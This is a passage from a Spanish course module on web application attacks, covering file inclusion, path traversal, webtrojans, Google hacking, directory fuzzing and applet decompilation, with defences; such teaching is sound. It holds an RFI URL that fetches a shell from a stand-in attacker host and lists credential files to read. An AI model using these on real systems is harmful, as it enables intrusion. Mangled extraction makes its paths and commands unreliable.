introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 5: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 5 Ataques a aplicaciones web

1 Ataques de inyeccioacuten de scripts

Bajo la denominacioacuten de inyeccioacuten de scripts se agrupan distintas teacutecnicas que

comparten el mismo sistema de explotacioacuten pero que persiguen distinto fin

El hecho de separarlas en distintas categoriacuteas atiende uacutenicamente a facilitar la

fijacioacuten de los objetivos perseguidos

Un ataque por inyeccioacuten de coacutedigo se plantea como objetivo lograr in-

yectar en el contexto de un dominio un coacutedigo Javascript VBScript o

simplemente HTML con la finalidad de engantildear al usuario o realizar

una accioacuten no deseada suplantaacutendole

Un concepto que debe quedar muy claro es que en este tipo de ataque el afec-

tado no es directamente el servidor como podriacutea ser en el caso de un ataque

de SQL Injection sino que el objetivo directo es el usuario Posteriormente

si el ataque es exitoso y mediante suplantacioacuten de personalidad se podraacuten

ejecutar las acciones deseadas en el servidor afectado y al que pueda accederse

desde una paacutegina web

Esto ha implicado que los fallos de inyeccioacuten de scripts no sean considerados

como amenazas criacuteticas en algunos sectores de la seguridad informaacutetica de-

clarando incluso que errores de este tipo no podriacutean llegar a comprometer la

seguridad de un sitio web Como se demostraraacute a lo largo de este apartado la

inyeccioacuten de scripts puede llegar a ser tan peligrosa como cualquier otra teacutecni-

ca si se sabe cuaacutel es su liacutemite y cuaacutel es su potencial

Se exponen a continuacioacuten casos reales relacionados con XSS ( cross site scrip-

ting) en los que la seguridad de alguacuten sitio web ha quedado comprometida A

pesar del escepticismo de algunos XSS puede permitir la obtencioacuten de privile-

gios sobre alguacuten sistema lo suficientemente deacutebil como para permitir insertar

coacutedigo Javascript

CC-BY-NC-ND bull PID_00191662 6 Ataques a aplicaciones web

Zone-H

El primero de los casos es el de Zone-H paacutegina dedicada a mantener un registro delos sitios atacados a los que se les ha modificado la apariencia de la paacutegina principallo que en argot se denomina ldquodefaceadosrdquo Este sitio registra tambieacuten los autoresidentificados de las acciones maliciosas Resulta iroacutenico que fuesen ellos mismos losatacados

El meacutetodo usado por los atacantes fue el de enviar a uno de los administradoresdel sitio un correo electroacutenico a su cuenta de Hotmail donde recientemente habiacuteanlocalizado un fallo de XSS Explotando el error lograron robar su cookie de sesioacuteny con ella pudieron visitar el sitio web de Zone-H Una vez aquiacute solicitaron unarecuperacioacuten de la contrasentildea que evidentemente se les envioacute al correo electroacutenicoque habiacutean secuestrado previamente Con esta cuenta de administrador del sitio noles quedoacute maacutes que publicar una noticia que incluiacutea coacutedigo HTML especialmenteescrito para colocar sobre el resto de la paacutegina el contenido que ellos deseaban

Samy Worm y MySpace

El segundo caso real utilizado como ejemplo donde el XSS logroacute comprometer laseguridad de un sitio fue el protagonizado por Samy Worm y MySpace Samy es unchico de Estados Unidos que detectoacute una vulnerabilidad de XSS en el famoso portalde MySpace Para explotar este fallo y aprovechando sus dotes de programacioacuten Ja-vascript Samy creoacute un gusano informaacutetico que luego se conoceriacutea como Samy Worm

Un gusano informaacutetico es un programa que se replica entre sistemas afectados por lamisma vulnerabilidad En un entorno web un gusano seriacutea un coacutedigo Javascript quese replica entre los perfiles de los usuarios del sitio Y eso fue lo que hizo Samy consu gusano replicarlo en maacutes de un milloacuten de perfiles de MySpace

